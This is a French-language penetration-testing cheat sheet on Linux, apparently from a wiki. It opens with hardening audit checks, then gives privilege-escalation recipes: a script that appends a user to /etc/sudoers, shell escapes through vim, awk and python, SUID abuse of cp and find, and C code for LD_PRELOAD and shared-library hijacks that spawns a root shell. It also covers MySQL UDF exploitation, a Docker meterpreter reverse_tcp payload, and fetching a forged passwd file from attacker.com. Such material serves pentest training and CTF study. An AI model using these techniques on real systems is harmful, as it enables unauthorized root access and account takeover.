🐧Linux

Fondamentaux

hostname
whoami
id
ifconfig
uname -a
uname -m

#chercher des exploits sur la version
searchsploit -w distrib
searchsploit -w kernel_version

#mots de passe stockéqs
cat /etc/passwd

#Tables ARP
arp -a

#config réseau
/sbin/ifconfig -a; cat /etc/network/interfaces; cat /etc/sysconfig/network; cat /etc/resolv.conf

#Variables d'environnement
cat /etc/profile; cat /etc/bashrc; cat ~/.bash_profile; cat ~/.bashrc; cat ~/.bash_logout; env; set

#historiques
history; cat ~/.bash_history; cat ~/.nano_history; cat ~/.atftp_history; cat ~/.mysql_history; cat ~/.php_history

#Chercher des fichiers de conf modifiables
find /etc/ -writable -type f 2>/dev/null

#Cherches les fichiers avec permissions SUID et GUID
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 6 -exec ls -ld {} \; 2>/dev/null
find / -perm -1000 -type d 2>/dev/null
find / -perm -g=s -type f 2>/dev/null

#Vérifier que l'OS accorde bien les priv par défauts à tous les utilisateurs authentifiés.
#UMASK doit avoir pour valeur 077 est ne doit pas être commenté.
#Si ce n'est pas le cas, un utilisateur pourrait accèder à des fichiers qui ne lui appartiennent pas.
grep -i "umask" /etc/login.defs

#Vérifier si le mot de passe est bien chiffré.
#Si le mot de passe de root ne commence pas par "password_pbkdf2", il s'agit d'une mauvaise config
grep -i password /boot/grub/grub.cfg 

#Vérifier que l'OS ne détient pas d'UID's doublons pour les utilisateurs interactifs.
awk -F ":" 'list[$3]++{print $1, $3}' /etc/passwd 

#Vérifier que le groupe "sudo" ne contienne que des utilisateurs légitimes
grep sudo /etc/group

#Vérifier qu'il y a bien un timeout d'activé pour déconnecter les sessions inactives.
grep -E "\bTMOUT=[0-9]+" /etc/bash.bashrc /etc/profile.d/*

#Vérifier si le package vlock est installé
dpkg -l | grep vlock

#Vérifier que l'OS force la durée de vie minimum d'un mot de passe à 24h.
#Le cas contraire peut permettre à un utilisateur de changer de mot de passe autant de fois qu'il veut.
#Ce qui peut leur permettre de contourner la politique de mot de passe et repasser à leur ancien mot de passe.
grep -i ^pass_min_days /etc/login.defs

#Vérifier si l'execution de programme est activé
#Ubuntu
dpkg -l | grep apparmor
systemctl is-active apparmor.service
réponse attendue: active
systemctl is-enabled apparmor.service 
réponse attendue: enable
#RedHat, CentOS
sestatus

#Vérifier si le firewall est correctement configuré
ss -l46ut
ufw status

#Vérifier si les disques sont chiffrés
more /etc/crypttab

#Vérifier l'implémentation d'ASLR.
sysctl kernel.randomize_va_space
réponse attendue: kernel.randomize_va_space = 2
cat /proc/sys/kernel/randomize_va_space
réponse attendue: 2

#Vérifier la présence du package SSH
sudo dpkg -l | grep openssh
#Vérifier si le service sshd est actif et chargé
systemctl status sshd.service | egrep -i "(active|loaded)"

#Vérifier si X11Forwarding est activé dans les parametres SSH
grep -ir x11forwarding /etc/ssh/sshd_config* | grep -v "^#"
résponse attendue: X11Forwarding no

#Vérifier si des connexions inattendues ou automatiques au SSH sont possibles.
egrep -r '(Permit(.*?)(Passwords|Environment))' /etc/ssh/sshd_config
réponses attendues:
PermitEmptyPasswords no
PermitUserEnvironment no

#Vérifier le chiffrement SSH
grep -r 'Ciphers' /etc/ssh/sshd_config*
résponse attendue: Ciphers aes256-ctr,aes192-ctr ou aes128-ctr
grep -ir macs /etc/ssh/sshd_config*
réponse attendue: MACs hmac-sha2-512 ou hmac-sha2-256

#Vérifier si le timeout de session SSH est en dessous de 600 soit 10 minutes
sudo grep -ir clientalive /etc/ssh/sshd_config*
réponse attendue:
ClientAliveInterval 600
ClientAliveCountMax 1

#Vérifiez que les répertoires de bibliothèque à l échelle du système "/lib", "/lib64" et "/usr/lib" appartiennent au groupe root.
find /lib /usr/lib /lib64 ! -group root -type d -exec stat -c "%n %G" '{}' \;

#Vérifier si le null password est autorisé
grep nullok /etc/pam.d/common-password

#Vérifier si il y a des mdp vides dans /etc/shadow
awk -F: '!$2 {print $1}' /etc/shadow

#Vérifier la politique de rotation de mot de passe des utilisateurs
chage -l <username> | grep expires

#Vérifier que la réutilisation de mot de passe ne peut pas se faire avant aux moins 5 générations
grep -i remember /etc/pam.d/common-password

#Vérifier la politique de mots de passe
#Vérifier que la lib pwquality est installée
dpkg -l libpam-pwquality
#Vérifier que l'usage du package est bien activé
grep -i enforcing /etc/security/pwquality.conf
cat /etc/pam.d/common-password | grep requisite | grep pam_pwquality
réponse attendue: password requisite pam_pwquality.so retry=3
grep -i "lcredit" /etc/security/pwquality.conf
réponse attendue: lcredit=-1 
grep -i "dcredit" /etc/security/pwquality.conf  
réponse attendue: dcredit=-1
grep -i "ucredit" /etc/security/pwquality.conf
réponse attendue: credit=-1
grep -i "ocredit" /etc/security/pwquality.conf  
réponse attendue: credit=-1
grep -i "difok" /etc/security/pwquality.conf 
réponse attendue: difok=8
grep -i minlen /etc/security/pwquality.conf
réponse attendue: minlen=15
#Vérifier si la lib "cracklib" permettant d'empêcher l'usage de mots du dictionnaire dans les mdp est installée
grep dictcheck /etc/security/pwquality.conf 
réponse attendue: dictcheck=1

#Vérifier que les logs system ne sont accessibles qu'aux utilisteurs du groupe "adm"
sudo stat -c "%n %G" /var/log/syslog 
réponse attendue: /var/log/syslog adm

#Vérifier que l'accès aux fichiers de /var/log soit au mode 750 ou moins permissif
stat -c "%n %a" /var/log

#Vérifiez qu'il y ai un délai d'au moins 4 secondes entre l'invite de connexion et l'authentication failed
grep pam_faildelay /etc/pam.d/common-auth

#Vérifier que le dump du kernel soit désactivé
systemctl is-active kdump.service

#Vérifier que la connexion directe au compte root soit désactivé
passwd -S root

#Vérifier qu'il n'est pas possible de reboot le syteme avec Ctrl-Alt-Del
grep logout /etc/dconf/db/local.d/*
réponse attendue: logout=''

Python sudoers

#!/usr/bin/env python
import os
import sys
try:
        os.system('echo "username ALL=(ALL:ALL) ALL" >> /etc/sudoers')
except:
        sys.exit()

Escaping shells

Prise d'information de l'environnement

rbash:

$ cd /etc
rbash: cd: restricted
$ asdf
rbash: asdf: command not found

rksh:

$ cd /etc
ksh: cd: restricted
$ asdf
ksh: asdf: not found [No such file or directory]

rzsh:

kali% cd /etc
cd: restricted
kali% asdf
zsh: command not found: asdf

Ishell:

user:~$ echo $(ls)
*** forbidden syntax: echo $(ls)
user:~$ cd /etc
*** forbidden path: /etc/
user:~$ cat /etc/passwd
*** forbidden command: cat

Techniques basiques

Les systèmes Linux nous fournissent différents éditeurs. (ed, ne, nano, pico, vim etc)

Certains d'entre eux fournissent des fonctionnalités tierces d'exécution de commande et de navigation dans les fichiers. Les éditeurs comme "vim" nous fournissent l'une des techniques les plus connues pour contourner les restrictions d'un shell.

Vim a une fonctionnalité permettant d'exécuter des scripts et des commandes à l'intérieur. Si vim est disponible, ouvrez-le et lancez la commande suivante:

:!/bin/ls -l

Cela aura pour effet d'exécuter la commande ls -l et de bypasser la restriction sur la commande ls par exemple.

Il s'agit d'un exemple, on peut donc utiliser cette technique pour n'importe quelle commande.

Exemple pour lancer un shell qui ne contiendra donc pas de restrictions:

:!/bin/sh

Même technique avec l'éditeur ed:

!'/bin/sh'

Avec less ou man:

$ less .bashrc
!'sh'

$ man ls
!'sh'

avec awk:

$ awk 'BEGIN {system("/bin/sh")}'

Avec expect:

$ expect
expect1.1> spawn sh
spawn sh
20302
expect1.2> sh

ou

$ expect -c 'spawn sh' -i
spawn sh
expect1.1> sh

Avec python:

$ python -c 'import pty; pty.spawn("/bin/sh")' 

Avec Ruby:

$ irb
irb(main):002:0> exec '/bin/sh'

Avec Perl:

$ perl -e 'system("sh -i");'

Avec PHP:

$ php -a
Interactive mode enabled

php> exec("sh -i");

Path variable

# Créer un faux cat
echo "bin/bash" > /tmp/cat
chmod 777 /tmp/cat
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin

# Mettre à jour le PATH
export PATH=/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin

# Aller dans le dossier restreint
/usr/sbin/cat .private.txt

[TODO]

Capabilities

[TODO]

SUID

/usr/bin/cp

# Si cp a les droits SUID, on peut copier un fichier à privilèges dans un autre dossier pour le lire
cp /etc/passwd /tmp

# Créer un nouveau compte
openssl passwd -1 -salt <username> <password>

# Puis créer un faux /etc/passwd et l'upload dans la cible et utiliser cp
wget http://attacker.com/passwd
cp passwd /etc/passwd

/usr/bin/doas

cat /etc/doas.conf
doas /usr/bin/less /var/log/authlog
:!sh

/usr/bin/find

# Lancer des commande avec un autre utilisateur
touch user123
find user123 -exec "whoami" \;
find user123 -exec "/bin/sh" \;

# Autre méthode
find /home –exec chmod u+s /usr/bin/wget \;
ls –la /usr/bin/wget
cat /etc/passwd
# Ensuite créer un fichier passwd et l'upload

/usr/bin/micro

cat /etc/passwd | /usr/bin/micro

# Puis créer un nouvel utilisateur
openssl passwd -1 -salt <username> <password>

/usr/bin/mawk

mawk 'BEGIN {system("/bin/sh")}'

LD_Preload

Si la réponse à un "sudo -l" renvoie la présence de la variable d'environnement LD_Preload, il est possible d'élever ces privilèges comme ceci:

1) Créer un script shell.c contenant les lignes suivantes

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}

2) Compiler le script

$ gcc -fPIC -shared -o shell.so shell.c -nostartfiles

3) Lancer un des binaires authorisés avec sudo sans mot de passe en utilisant LD_Preload.

$ sudo LD_PRELOAD=/path/to/shell.so <binaire>

NFS Root Squash

Reconnaissance:

$ cat /etc/exports | grep no_root_squash

Si un répertoire est partagé avec ce paramètre, cela veut dire que toutes les actions faitent dans ce répertoire partagé est fait en tant que "root"

On peut alors monter le repértoire partagé sur notre machine hôte:

$ showmount -e <target IP>
/shared *
$ mkdir /tmp/mountme
$ mount -o rw,vers=2 <target IP>:/shared /tmp/mountme

Il reste ensuite à créer l'exploit dans le répertoire monté et l'exécuter sur le serveur cible.

Shared Libraries

1) Lister les binaires avec des la permission 4001.

$ find / -type f -perm 4001 -exec ls -l {} \; 2> /dev/null

2) Exécuter chacun des binaires listés.

3) Si une erreur survient disant qu'une librairie est manqueante (exp: libtest.so: cannot open shared object file: No such file or direcory)

4) trouver le path dans lequel est censé se trouver la lib.

5) Créer un script shell.c contenant les lignes suivantes.

#include <stdlib.h>
#include <unistd.h>

void _init() {
    setuid(0);
    setgid(0);
    system("/bin/bash -i");
}

6) Compiler le script.

$ gcc -shared -fPIC -nostartfiles -o lib/libtest.so shell.c

7) Exécuter le binaire vulnérable.

Services

MySQL

# Si MySQL fonctionne avec les droits de super utilisateur
sys_exec('usermod -a -G admin username')
Select sys_exec('whoami');
select sys_exec('/bin/bash');
Select sys_eval('whoami');
# Si MySQL fonctionne avec les droits super user en version <5
https://www.exploit-db.com/exploits/1518/

# Rechercher et compiler l'exploit
searchsploit –m 1518.c
gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.c -lc
wget http://192.168.1.109/1518.so
chmod 777 1518.so

mysql –u root –p
use mysql;

# Exploitation
create table foo(line blob);
insert into foo values(load_file('/tmp/1518.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
create function do_system returns integer soname '1518.so';
select do_system('chmod u+s /usr/bin/find');

Docker

# Si l'utilisateur peut lancer docker
docker run –v /root:/hack -t debian:jessie /bin/sh -c 'ls -al /hack'

# Docker privesc avec metasploit
msf > use exploit/linux/local/docker_daemon_privilege_escalation
msf exploit(linux/local/docker_daemon_privilege_escalation) >  set lhost 192.168.1.116
msf exploit(linux/local/docker_daemon_privilege_escalation) >  set payload linux/x86/meterpreter/reverse_tcp
msf exploit(linux/local/docker_daemon_privilege_escalation) >  set session 1
msf exploit(linux/local/docker_daemon_privilege_escalation) >  run

Cron

Overwrite du fichier

Si on a les droits pour overwrite le fichier executé, alors il est possible de créer un shell facilement à la place du fichier original.

Overwrite du chemin

Si cron cherche le fichier sur plusieurs chemins et que le chemin complet du script d'origine n'est pas défini dans crontab, si on a les droits pour créer un fichier sur l'un des chemins recherché en premier, on est alors capable de créer un fichier du même nom dans celui-ci.

LinPEAS

LinPEAS est un script qui recherche les chemins possibles pour élever les privilèges sur les hôtes Linux/Unix*/MacOS.

Exemple d'utilisation:

$ ./linpeas.sh -a

ressource: https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS

LinuxSmartEnumeration

LinuxSmartEnumeration est un outils d'énumération Linux pour le pentesting et les CTF inspiré de l'outil LinEnum. Contrairement à LinEnum, LSE tente d'exposer progressivement l'information en fonction de son importance d'un point de vue privé.

Exemple d'utilisation:

$ ./lse.sh -l1

ressource: https://github.com/diego-treitos/linux-smart-enumeration

Lynis

Lynis est un outil d’audit de sécurité pour les systèmes basés sur UNIX comme Linux, macOS, BSD et autres. Il effectue une analyse de sécurité approfondie et fonctionne sur le système lui-même. L’objectif principal est de tester les défenses de sécurité et de fournir des conseils pour renforcer davantage le système.

Utilisation:

$ ./lynis audit system

ressource: https://github.com/CISOfy/lynis

Eviltree

Eviltree est un remake python3 de la commande classique "tree" avec la fonctionnalité supplémentaire de rechercher des mots-clés/regex fournis par l'utilisateur dans les fichiers, en mettant en évidence ceux qui contiennent des correspondances.

Exemples d'utilisation:

$ python3 eviltree.py -r path/to/repo -k passwd,admin,login,user -v

$ python3 eviltree.py -r path/to/repo -x "<regex>" -v

ressource: https://github.com/t3l3machus/eviltree

Ressource

https://book.hacktricks.xyz/linux-unix/privilege-escalation

Dernière mise à jour